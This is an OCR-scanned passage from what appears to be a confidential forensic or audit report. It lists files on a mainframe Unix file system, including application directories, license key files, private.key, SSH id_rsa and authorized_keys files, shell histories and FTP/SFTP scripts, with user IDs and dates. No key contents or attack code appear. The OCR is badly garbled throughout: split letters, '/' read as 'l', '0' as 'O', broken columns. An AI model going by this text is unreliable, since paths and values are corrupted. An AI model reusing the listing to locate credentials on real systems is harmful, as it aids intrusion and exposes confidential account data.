- rwxr-xr-x O 1367 495500 73728 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/data/sd . pr i  

- rw-rw---- O O 495500 O Oct 16  2011 /u/d955/DAF1367 / is i s/i pa_620/objects/d b lock. l ck  

d rwxr-xr-x O 1367 495500 O Oct 16 2011 /u/d955/DAF1367 / is i s/i pa_620/objects/fuzzy/ 

-rw-rw-r-- O O 495500 16 Oct 16  2011 /u/d955/DAF1367 / is i s/i pa_620/objects/fuzzy/ma i n .dat  

d rwxr-xr-x O 1367 495500 O Ma r  15 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/l og/ 

-rw-rw-r-- O O 495500 10485760 Ma r  20 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/log/ log .0000000077 

-rw-rw-r-- O 1559 495500 8 Fe b 12 2012 /u/d955/DAF1367 / is i s/i pa_620/objects/node i d . dat 

-rw-rw-r-- O 1559 495500 891 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/private . key 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/tem p/ 

-rw-rw-r-- O 1559 495500 37147 Feb 12 2012 /u/d955/DAF1367/ is i s/i p a_620/objects/DbError. log 

Strictly confident i a l  l Bus i ness Secret l 
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Report 

-rwxr-xr-x O 1367 495500 6473 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/DB_CON F IG .ASC I I  

-rwxr-xr-x O 1367 495500 6333 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/DB_CON F IG . EBCD IC 

d rwxr-xr-x O 1367 495500 O Oct 10 2011 /u/d955/DAF1367 / is is/i pa_620/pocm u620/ 

-rw-r--r-- O 1520 495500 O Apr 13 2011 /u/d955/DAF1367 / is is/i pa_620/pocmu620/cd 

-rwxr-xr-x O 18171 495500 74 Fe b 20 2008 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/c lea r l ogs . sh  

-rwxrwxr-x O 77229 495500 O Ap r 13 2011 /u/d955/DAF1367 / is is/i pa_620/pocmu620/get_cpu 

-rw-r-- r-- O 1559 495500 1 188936 Mar 20 2012 /u/d955/DAF1367 / is is/i pa_620/pocm u620/i pas . l og 

-rw-r-- r-- O 1559 495500 2481380 Feb 12 2012 /u/d955/DAF1367 / is is/i pa_620/pocmu620/i pas . l og1  

-rw-r-- r-- O 1559 495500 

-rw-r--r-- O O 495500 

O J a n  31 2008 /u/d955/DAF1367 / is i s/i pa_620/pocm u620/i pas . l og2 

O J a n  31 2008 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/i pas . l og3 

-rw-rw-r-- O O 495500 480 Oct 16 2011 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/is i su n ix . key 

-rwxrwxr-x O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocm u620/is i su n ix . key.o l d .090328 

-rw-rw-r-- O 77229 495500 480 Ma r  30 2009 /u/d955/DAF1367/i s i s/i pa_620/pocmu620/i s i sun ix. key.o l d . 101030 

-rw-rw-r-- O 1520 495500 480 Ju n 12 201 1  /u/d955/DAF1367 / is is/i pa_620/pocmu620/i s i sun ix . key.o l d . 110612 

-rw-r----- O O 495500 5597 Oct 10 201 1  /u/d955/DAF1367 / is i s/i pa_620/pocmu620/i s i sun ix. key. M FA 

-rw-r----- O O 495500 480 Oct 10 201 1 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/is i sun ix. key. M F B  

d rwxr-xr-x O 77229 495500 O Apr 8 2009 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/newkeys_090326/ 

-rw-rw-r-- O O 495500 480 Ma r  30 2009 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/newkeys_090326/is i sun ix . key 

Strictly confidenti a l  l Bus i ness Secret l 
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Report 

d rwxr-xr-x O 77229 495500 O J u  n 4 2009 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o l d_stuff/ 

-rw-r--r-- O 1559 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocm u620/o l d_stuff/a bra 

d rwxr-xr-x O O 495500 O Ma r  30 2009 /u/d955/DAF1367 / is is/i pa_620/pocm u620/old_stuff/o l d_ l icences/ 

Sidan 466 av 574 

- rw-r----- O 1367 495500 13 101 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/old_stuff/o l d_l icences/92621 . 1 i c_i nsta l led_20061017 _141936 

- rw-r----- O 1367 495500 36447 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o ld_stuff/o l d_l icences/92622 . 1 i c_i nsta l l ed_20061017 _161735 

d rwxr-xr-x O 77229 495500 O Ma r  26 2009 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o l d_stuff/o ld keys/ 

- rw-r--r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o l d_stuff/o l d keys/i s i su n ix. key. b i n  

- rw-r--r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367/is i s/i pa_620/pocm u620/ol d_stuff/o l d keys/is is un ix. key.ftp 

-rw-r--r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o ld_stuff/o l d keys/ is isu n ix. key. iconv 

- rw-r--r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/ol d_stuff/o ld keys/is isu n ix. key. lf. 1047 

-rw-rw-r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/ol d_stuff/o l d keys/i si s un ix. key.oed it  

d rwxr-xr-x O 77229 495500 O Ma r  26 2009 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/old_stuff/ol d keys/o l d keys090326/ 

- rw-r----- O 1559 495500 479 May 14 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/ol d_stuff/o l d keys/o l d keys090326/is i su n ix . key.o ld_0705 15 

-rw-r----- O 1367 495500 479 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/pocm u620/o l d_stuff/o l d keys/o l d keys090326/is i su n ix_old . key 

-rw-r----- O 1367 495500 479 Oct 18 2006 /u/d955/DAF1367 / is i s/i pa_620/pocm u620/o ld_stuff/o l d keys/o l d keys090326/i s i su n ix_o l dnew. key 

- rw-r--r-- O 77229 495500 479 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o l d_stuff/o l d keys/xx .x 

-rwx------ O 18171 495500 247 Fe b 13 2008 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o ld_stuff/stcscri pt. s h .o l d  

- rwxr-xr-x O 77229 495500 223 May 15 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/o l d_stuff/stcscri pt. sh_ V077229 

Str ict ly confidenti a l  l Bus i ness Secret l 



Report 

-rwxr-xr-x O 1367 495500 7675904 Aug 25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocmuadp  

-rwxr-xr-x O 1367  495500 4780032 Aug  25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocmuafp 

-rwxr-xr-x O 1367 495500 7864320 Aug 25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocmuagt 

-rwxr-xr-x O 1367 495500 5 193728 Aug 25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocm uclc 

-rwxr-xr-x O 1367 495500 22937600 Aug 25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocmukn l  

- rwxr-xr-x O 1367  495500 808 1408 Aug  25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/pocmu ldo  

-rwxr-xr-x O 1367  495500 1290 Feb 21 2007 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/ru n_author izat ion_se rver .sh 

-rwxrwxr-x O 1367 495500 259 N ov 7 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/sta rtscri pt. sh  

-rwxr-xr-x O 1559 495500 2 10 Feb 13 2008 /u/d955/DAF1367 / is is/i pa_620/pocmu620/stcscri pt . sh  

-rw-r-- r-- O 1559 495500 O N ov 7 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/stopout .txt 

-rwxr-xr-x O 1559 495500 199 N ov 7 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/stopscri pt . sh  

-rwxr-xr-x O 1559  495500 244 N ov 7 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/tsta rtscr ipt .sh 

-rwxr-xr-x O 1367 495500 4214784 Aug 25 2006 /u/d955/DAF1367 / is i s/i pa_620/pocmu620/CDPDLL 

Sidan 467 av 574 

-rw-r----- O 1520 495500 480 May 30 2011 /u/d955/DAF1367/i s i s/i pa_620/pocm u620/Logica_20090324101215_F9062817 _001_is i su n ix . key 

-rwxr-xr-x O 1367 495500 7847936 Aug 25 2006 /u/d955/DAF1367 / is is/i pa_620/pocmu620/0MSCALL 

d rwxr-xr-x O 1367 495500 O Ma r  20 2012 /u/d955/DAF1367 / is i s/i s i scom m/ 

-rw-rw-r-- O 1559 495500 24 Ma r  20 2012 /u/d955/DAF1367 / is i s/i s i scom m/is isgu id 

-rw------- O 1559 495500 1024 Oct 16  2011 /u/d955/DAF1367 / is i s/i s iscom m/i s israndseed 

Strictly confident i a l  l Bus i ness Secret l 



d rwxr-xr-x O 1367 495500 

d rwxr-xr-x O 1367 495500 

-rw------- O O 495500 

Report 

O Oct 16 2011 /u/d955/DAF1367 / is i s/i s i sco m m/mu/ 

O Feb 12 2012 /u/d955/DAF1367 / is i s/ is isco m m/m u/d um ps/ 

O Fe b 12 2012 /u/d955/DAF1367 / is i s/ is iscomm/mu/du m ps/core .20111127.020342 . 16777276 

-rw-rw-r-- O O 495500 3846580 Feb 12 2012 /u/d955/DAF1367 / is i s/ is iscom m/mu/d u m ps/CEEDU M P. 20120212 .004447. 16777276 

d rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i s i scomm/mu/l i b/ 

-rwxr-xr-x O 1367 495500 3637248 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/bdbd l l02 .so 

- rwxr-xr-x O 1367 495500 491520 Aug 25 2006 /u/d955/DAF1367 /i s i s/ is iscom m/mu/l i b/i s i sut02 .so 

- rwxr-xr-x O 1367 495500 966656 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/l d ap01 .so 

- rwxr-xr-x O 1367 495500 12218368 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/l i bxerces -c2_2_0.d l l  

- rwxr-xr-x O 1367 495500 1396736 Aug 2 5  2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/ l i b/pcsd l l 05 . so 

-rwxr-xr-x O 1367 495500 9932800 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/pq l d l l01 . so 

- rwxr-xr-x O 1367 495500 5582848 Aug 25 2006 /u/d955/DAF1367/is i s/ is iscomm/m u/ l i b/pqxd l l01 . so 

-rwxr-xr-x O 1367 495500 6238208 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/ss1d l l01 . so 

- rwxr-xr-x O 1367 495500 1069056 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/ss2d l l 01 . so 

-rwxr-xr-x O 1367 495500 495616 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/xcomfw03.so 

-rwxr-xr-x O 1367 495500 417792 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/xdom05.so 

- rwxr-xr-x O 1367 495500 446464 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/xdom06.so 

- rwxr-xr-x O 1367 495500 40660992 Aug 25 2006 /u/d955/DAF1367/is i s/ is i scom m/mu/l i b/xerces24.so 
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-rwxr-xr-x O 1367 495500 364544 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/xfwrt02 .so 

- rwxr-xr-x O 1367 495500 8417280 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/xosi06.so 

-rwxr-xr-x O 1367 495500 9543680 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/xosi07.so 

-rwxr-xr-x O 1367 495500 274432 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/l i b/zi pd l l01 . so 

-rwxr-xr-x O 1367 495500 12218368 Aug 25 2006 /u/d955/DAF1367 / is is/ is iscom m/mu/l i b/IXM4C52 

-rwxr-xr-x O 1367 495500 1155072 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/MVSSTDIO  

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

d rwxr-xr-x O 1367 495500 

d rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rw-rw-r-- O 1559 495500 

651264 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/l i b/PPDEJ ES 

12101 Aug 25 2006 /u/d955/DAF1367 / is i s/ is i scom m/mu/pcscfg03 .p rt 

15162 Aug 25 2006 /u/d955/DAF1367 / is i s/ is i scom m/mu/pcscfg04 .prt 

19742 Aug 25 2006 /u/d955/DAF1367 / is is/ is iscom m/mu/pcscfg05 . p rt 

O Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscomm/mu/tmp/ 

O Oct 17 2006 /u/d955/DAF1367 / is i s/ is iscom m/m u/too l s/ 

225280 Aug 25 2006 /u/d955/DAF1367 / is i s/ is iscom m/mu/too l s/pcsmon05 

O Oct 17 2006 /u/d955/DAF1367/ is i s/i s i scom m/m u/I S IS_PCS_20060313_Genera l lock_PCS_DATA 

-rw-rw-r-- O O 495500 4286408 Oct 16 2011 /u/d955/DAF1367 / is i s/ is i scomm/mu/IS I S_PCS_20060313_ShMem_PCSDATA 

-rw-rw-r-- O O 495500 10485722 Dec 3 2011 /u/d955/DAF1367 / is i s/ is iscom m/pcsa0056. 1 og 

-rw-rw-r-- O O 495500 10485746 Dec 16 2011 /u/d955/DAF1367 / is i s/ is isco m m/pcsa0057. 1og 

- rw-rw-r-- O O 495500 10485654 J a n  2 2012 /u/d955/DAF1367 / is is/ is iscom m/pcsa0058. 1 og 
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-rw-rw-r-- O O 495500 10485633 J a n  14 2012 /u/d955/DAF1367 / is i s/ is iscom m/pcsa0059 . 1 og 

-rw-rw-r-- O O 495500 10485606 J a n  27 2012 /u/d955/DAF1367 / is i s/ is iscom m/pcsa0060 . 1 og 

-rw-rw-r-- O O 495500 10485611  Fe b 10 2012 /u/d955/DAF1367 / is i s/ is iscom m/pcsa006l . l og 

-rw-rw-r-- O O 495500 10485672 Feb 24 2012 /u/d955/DAF1367/is i s/ is iscom m/pcsa0062 . 1 og 

-rw-rw-r-- O O 495500 10485641 Ma r  7 2012 /u/d955/DAF1367 / is i s/ is iscom m/pcsa0063 . 1 og 

-rw-rw-r-- O O 495500 10485702 Ma r  20 2012 /u/d955/DAF1367 / is i s/ is iscom m/pcsa0064 . 1 og 

-rw-rw-r-- O O 495500 156711 Ma r  20 2012 /u/d955/DAF1367 / is is/ is iscom m/pcsa0065 . 1 og 

- rw-rw-r-- O 1367 495500 1369 J u l 1 1  2003 /u/d955/DAF1367 /NU LLF I LE 

d rwx------ O 9226799 438409 O J u  n 4 2007 /u/d955/E9050PC/ 

-rw------- O 9226799 438409 146 Ju n 4 2007 /u/d955/E9050PC/. sh_h i story 

d rwx------ O 9226799 438409 O J u n  4 2007 /u/d955/E9050PC/.ssh/ 

-rw------- O 9226799 438409 883 J u n  4 2007 /u/d955/E9050PC/.ssh/id_rsa 

-rw-r-- r-- O 9226799 438409 223 J u n  4 2007 /u/d955/E9050PC/.ssh/i d_rsa . p ub  

- rw-r--r-- O 9226799 438409 222 J u n  4 2007 /u/d955/E9050PC/.ssh/known_hosts 

-rw------- O 9226799 438409 1024 Ma r  20 2012 /u/d955/E9050PC/.ssh/prng_seed 

d rwx------ O 7742424 438409 O Feb 28 2011 /u/d955/D9550PC/ 

-rwx------ O 7742424 438409 309 May 12 2004 /u/d955/D9550PC/. p rofi l e  

- rw------- O 7742424 438409 187 1 Ju n 4 2007 /u/d955/D9550PC/. sh_h i story 
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d rwxr-xr-x O 7742424 438409 O Oct 21 2003 luld955ID9550PCI.sshl 

- rw------- O 7742424 438409 883 May 21 2003 luld955ID9550PCI.sshlid_rsa 

- rw-r--r-- O 7742424 438409 223 May 21 2003 luld955ID9550PCI.sshlid_rsa . p ub  

- rw------- O 7742424 438409 528 Oct 21 2003 luld955ID9550PC/.sshlident ity 

- rw-r-- r-- O 7742424 438409 332  Oct 21 2003 luld955ID9550PC/. sshlidentity . pub  

- rw-r-- r-- O 7742424 438409 2301 Ju n 4 2007 luld955ID9550PCI.sshlknown_hosts 

- rw------- O 7742424 438409 1024 Ma r  19 2012 luld955ID9550PCI.sshlprng_seed 

- rw-r-- r-- O 7742424 438409 5128 N ov 8 2010 luld955ID9550PCidd :C ITY 

- rw-r-- r-- O 7742424 438409 15975 Aug 8 201 1 luld955ID9550PCidd : ED I  

- rw-r-- r-- O 7742424 438409 884742 Aug 8 2011  luld955ID9550PCid d : ED I RES 

-rw-r--r-- O 7742424 438409 680233 Jan 13 2012 luld955ID9550PCidd : RESNAM E 

- rw-r-- r-- O 7742424 438409 19 Ma r  18 201 1  luld955ID9550PCidd : STAT2 

- rw-r-- r-- O 7742424 438409 130 Ma r  18 201 1  luld955ID9550PCidd : STAT3 

-rw-r-- r-- O 7742424 438409 25 Feb 28 201 1  luld955ID9550PCidd :STAT4 

-rw-r--r-- O 7742424 438409 6919 N ov 9 2010 luld955ID9550PCidd : UTLAN D 

d r-xr-xr-x O O 

d r-xr-xr-x O O 

d r-xr-xr-x O O 

1 

1 

1 

O Fe b 28 2012 lule077 l 

O Feb 12 2012 lule078l 

O Feb 12 2012 lule203l 
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d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

d r-xr-xr-x O O l 

- rw-rw-rw- O 60251  

d r-xr-xr-x O O l 

l 

O Ma r  20 2012 lule339l 

O Feb 12 2012 lule478l 

O Feb 12 2012 lule484l 

O Ma r  15 2012 lule784l 

O Feb 12 2012 lule866l 

O Ma r  2 2012 lule96ll 

O N ov 7 2008 lulf025l 

O N ov 7 2008 lulf025l. sh_h i story 

O Ma r  20 2012 lulf04 7 l 

d rwxr-xr-x O 604701 l O M a r  20 2012 lulf047 lf047ical 

-rw------- O 604701 l lO Oct 27 2009 lulf047 lf047i cal . p rofi l e  

d rwx------ O 604701 l O Ma r  30 2010 lulf047 lf047ical.sshl 

-rw-r--r-- O 604701 l 1108 Ma r  30 2010 lulf047 lf047i cal.sshlauthor i zed_keys 

d rwx------ O 9448674 l O Ma r  20 2012 lulf047 lf047 icaldonel 

Report 

-rw-rw-rw- O 604701 l 653 Ma r  12 2012 lulf047 lf047icaldoneiF047 . 1 B . P . SAFE .Dl20721 

-rw------- O 9448674 l 653 M a r  12 2012 lulf047lf047icaldoneiF047 . 1 B . P .SAFE . Dl2072l . EBCD IC 

-rw-rw-rw- O 604701 l 1093 Ma r  15 2012 lulf047lf047i caldoneiF047 . 1 B . P . SAFE . Dl20751 

-rw------- O 9448674 l 1093 Ma r  15  2012 lulf047lf047icaldoneiF047 . 1 B . P . SAFE .Dl2075l . EBCD IC 
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-rw-rw-rw- O 604 701 l 5053 Ma r  16 2012 /u/f047 /f047 ica/done/F047 . 1 B . P .SAFE . D120761 

- rw------- O 9448674 l 

-rw-rw-rw- O 604701 l 

- rw------- O 9448674 l 

- rw-rw-rw- O 604 701 l 

-rw------- O 9448674 1 

- rw-rw-rw- O 604 701 1 

- rw-rw-rw- O 604 701 1 

d r-xr-xr-x O O 

d r-xr-xr-x O O 

d r-xr-xr-x O O 

438400 

1 

1 

5053 Ma r  16  2012 /u/f047/f047ica/done/F047 . 1 B . P . SAFE . D120761 . EBCD IC  

3381 Ma r  19 2012  /u/f047/f047i ca/done/F047 . 1 B . P .SAFE .D120791 

3381 Ma r  19 2012 /u/f047 /f047i ca/done/F047 . 1 B . P . SAFE . D120791 . EBCD IC 

3205 Mar  20 2012 /u/f047 /f047ica/done/F047 . 1 B . P .SAFE .D120801 

3205 M a r  20 2012 /u/f047/f047i ca/done/F047 . 1 B . P . SAFE . D120801 . EBCD IC 

54750 Ma r  20 2012 /u/f047/f047 ica/F013 . P ROD.A.CK I BAAP. D1208038 

537280 Ma r  20 2012 /u/f047/f047ica/F013 . P ROD.A .CKI BAU P .D1208038 

O Sep 30 2011 /u/f069/ 

O Feb 12 2012 /u/f083/ 

O Ma r  20 2012 /u/f088/ 

- rw------- O 608801 608800 27 Sep 30 2011 /u/f088/ .sh_h i story 

d rwx------ O 608801 608800 O N ov 2 2011 /u/f088/.ssh/ 

- rwx------ O 608801 608800 209 N ov 3 2011 /u/f088/.ssh/a uthor ized_keys 

- rw------- O 608801 608800 887 Sep 30 201 1 /u/f088/.ssh/i d_rsa 

- rw-r--r-- O 608801 608800 222 Sep 30 201 1 /u/f088/.ssh/id_rsa . p ub  

- rw-r--r-- O 608801 608800 222 Sep 30 201 1  /u/f088/.ssh/id_rsa . pub . a sc i i  

-rw-r--r-- O 608801 466600 603 Sep 30 201 1 /u/f088/. ssh/known_hosts 
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-rw------- O 608801 608800 1024 Ma r  20 2012 /u/f088/.ssh/prng_seed 

-rwx------ O 608801 608800 189 N ov 7 2011 /u/f088/as2eb .sh  

- rwx------ O 608801 608800 51 Ma r  20 2012 /u/f088/batch_put 

- rw------- O 608801 608800 45 Dec 9 2011 /u/f088/cr lf. awk 

-rw------- O 608801 608800 25 Dec 20 2011 /u/f088/du m my 

-rwx------ O 608801 608800 12 Dec 20 2011 /u/f088/noconv .sh 

- rwx------ O 608801 608800 581  Dec 13 2011 /u/f088/sftpasci i . s h  

-rwx------ O 608801 608800 428 Dec 14 2011  /u/f088/sftpb i n . sh  

- rwx------ O 608801 608800 1 M a r  20 2012 /u/f088/l mse logg 

d r-xr-xr-x O 4142992 4142992 O May 28 2010 /u/scri pts/ 

d r-xr-xr-x O 4142992 4142992 O Oct 23 2008 /u/scri pts/d610/ 

d r-xr-xr-x O 4142992 4142992 O May 7 2009 /u/scri pts/d610/fsab002/ 

---------- o o 

---------- o o 

4142992 1211  Dec 17 2008 /u/scri pts/d610/fsa b002/as2eb . sh  

4142992 1026 N ov 5 2008 /u/scri pts/d610/fsa b002/ebcftp . sh  

- r-xr-xr-x O 3 1 10968 4142992 152 Oct 26  2009 /u/scri pts/exist . sh  

d r-xr-xr-x O 4142992 4142992 O Ju n 9 2009 /u/scri pts/e961/ 

d r-xr-xr-x O 4142992 4142992 O Oct 23 2009 /u/scri pts/e961/e961ftp/ 

---------- o o 4142992 2394 Sep 23 2009 /u/scri pts/e961/e961ftp/as2eb2 .sh 
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---------- o o 

---------- o o 

---------- o o 

4142992 256 Oct 2 2009 lulscri ptsle961le961ftplbi ntest . sh  

4142992 145 Aug 27 2009 lulscri ptsle961le961ftplcy2eb . sh  

4142992 266 Aug 26 2009 lulscri ptsle961le961ftplebcd i cftp . sh  

---------- O O 4142992 1114 Oct 22 2009 lulscri ptsle961le961ftplnyb i n . s h  

d r-xr-xr-x O 4142992 4142992 O May 31 2010 lulscri ptslf013l 

d r-x------ O 4142992 4142992 O Aug 27 2010 lulscr i ptslf013lf047 ical 

---------- O 4142992 4142992 1276 Aug 27 2010 lulscri ptslf013lf047 icalko l l . s h  

---------- O 4142992 4142992 1290 J u l  7 2010 lulscr i ptslf013lf047 icalko l lg . sh 

---------- O 4142992 4142992 976 J u l 13 2010 lulscri ptslf013lf047 icalko l l o l d . sh  

---------- O 4142992 4142992 784 J u l 13 2010 lulscr i ptslf013lf047icalko l l 2 . sh  

d r-xr-xr-x O 4142992 4142992 O Oct 27 2009 lulscri ptslf047 l 

d r-x------ O 4142992 4142992 O Sep 27 2010 lulscr i ptslf047 lf047ical 

---------- O 4142992 4142992 744 Sep 16 2010 lulscri ptslf047 lf047 icalko l l . s h  

---------- O 4142992 4142992 580 J u l 12 2010 lulscri ptslf047 lf047icalko l l o l d . s h  

d r-xr-xr-x O O O 

-r-xr-xr-x O O O 

-r-xr-xr-x O O O 

-r-xr-xr-x O O O 

O Oct 4 2011 lulstat icl 

902 Oct 4 2011  lulstat iclautomaster 

109 Oct 18 2002 lulstat iclu .d345 

109 Oct 18 2002 lulstat iclu . d384 
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-r-xr-xr-x O O o 109 Oct 18 2002 /u/static/u .d552 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u . d610 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u . d666 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u .d700 

-r-xr-xr-x O O o 109 Aug 30 2005 /u/static/u .d818 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stati c/u .d838 

-r-xr-xr-x O O o 109 Fe b 14 2003 /u/stat ic/u .d955 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u .e077 

-r-xr-xr-x O O o 1 14 Ma r  8 2007 /u/stat ic/u . e078 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/static/u . e203 

-r-xr-xr-x O O o 109 May 20 2010 /u/stat ic/u .e339 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u .e478 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/static/u .e484 

-r-xr-xr-x O O o 109 Oct 18 2002 /u/stat ic/u .e784 

-r-xr-xr-x O O o 109 Feb 14 2003 /u/stat ic/u .e866 

---------- o o o 109 May 29 2009 /u/stat ic/u .e961 

---------- o o o 109 Oct 26 2009 /u/stat ic/u .f047 

-r-xr-xr-x O O o 109 J u n  18 2003 /u/static/u .f083 
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- r-xr-xr-x O O O 

d r-xr-xr-x O O 1 

d rwxr-xr-x O 5155 

- rw------- O 5155 

d rwx------ O 5 155 

- rw------- O 5155 

-rw------- O 5 155 

- rw------- O 5 155 

- rw-r-- r-- O 5 155 

- rw------- O 5155 

d r-xr-xr-x O O 1 

1 1 1  Oct 18 2002 /u/stat ic/u .webtek 

O Feb 12 2012 /u/webtek/ 

438400 O Dec 13 2011 /u/wmov lae/ 

438400 1 127 Feb 28 2012 /u/wmovlae/ .sh_history 

438400 O Feb 28 2012 /u/wmovlae/.ssh/ 

438400 883 Fe b 28 2012 /u/wmovlae/.ssh/i d_rsa 

438400 887 Dec 6 2011 /u/wmovlae/.ssh/id_rsa .g 

438400 222 Dec 6 2011 /u/wmovlae/.ssh/id_rsa . pu b.g 

438400 1207 Feb 28 2012 /u/wmov lae/.ssh/known_hosts 

438400 1024 Feb 28 2012 /u/wmovl ae/.ssh/prng_seed 

O Dec 9 2011 /u/wmov lae/f088/ 

- rw------- O 608801 608800 27 Sep 30 2011  /u/wmovlae/f088/ .sh_h istory 

d rwx------ O 608801 608800 O Dec 14 2011 /u/wmov lae/f088/.ssh/ 

- rwx------ O 608801 608800 209 N ov 3 2011 /u/wmov lae/f088/.ssh/author i zed_keys 

- rw-r--r-- O 608801 466600 603 Sep 30 201 1  /u/wmovlae/f088/.ssh/known_hosts 

- rw------- O 608801 608800 1024 Sep 30 2011 /u/wmov lae/f088/.ssh/prng_seed 

- rwx------ O 608801 608800 189 N ov 7 2011 /u/wmovlae/f088/as2eb . sh  

- rwx------ O 608801 608800 O N ov 15 2011 /u/wmovlae/f088/batch_put 
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- rw------- O 608801 608800 45 Dec 9 2011 /u/wmov lae/f088/cr lf. awk 

-rwx------ O 608801 608800 25 Sep 30 2011 /u/wmovlae/f088/noconv .sh 

- rwx------ O 608801 608800 556 Dec 2 2011 /u/wmovlae/f088/sftpasci i . s h  

- rwx------ O 95 12736 608800 618 N ov 9 2011 /u/wmov lae/f088/sftpasci i . s h .o l d  

-rwx------ O 608801 608800 428 Dec 2 2011 /u/wmovlae/f088/sftpb i n . s h  

-rwx------ O 608801 608800 O N ov 15 2011 /u/wmovlae/f088/ lmse logg 

d rwxr-xr-x O O 438400 O Nov 24 2011 /u/wmstott/ 

- rw------- O O 438400 1539 Ma r  8 2012 /u/wmstott/ . sh_h i story 

- rw-r--r-- O O 438400 60 N ov 17 2011 /u/wmstott/batch_put  

-rwx------ O 5 299 438400 45 N ov 24 2011 /u/wmstott/crlf. awk 

- rwx------ O 5299 438400 56 N ov 24 2011 /u/wmstott/cr lf. sh  

- rw-r-- r-- O 5 299 438400 15086 N ov 24 2011 /u/wmstott/mansed 

- rw-r--r-- O 5 299 438400 15086 N ov 24 2011 /u/wmstott/ma nsed .txt 

- rw-r--r-- O 5299 438400 15448 N ov 24 2011 /u/wmstott/ma nsed 1 

- rwxr-xr-x O O 438400 440 N ov 18 2011 /u/wmstott/test. sh  

- rwx------ O O 438400 20 N ov 17 2011  /u/wmstott/MC I B315 1 . 1 P2 

d rwx------ O 5424 438400 O Aug 3 2011 /u/wmthwat/ 

- rw------- O 5424 438400 700 Aug 29 2011 /u/wmthwat/ .sh_h i story 
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d rwx------ O 5424 438400 O Aug 3 2011 /u/wmthwat/.ssh/ 

-rwxr-xr-x O 5424 438400 96 Aug 3 2011 /u/wmthwat/.ssh/i conv .sh 

-rw------- O 5424 438400 887 Aug 3 2011 /u/wmthwat/.ssh/i d rsa 

- rw-r--r-- O 5424 438400 224 Aug 3 2011 /u/wmthwat/. ssh/i d_rsa . p ub  

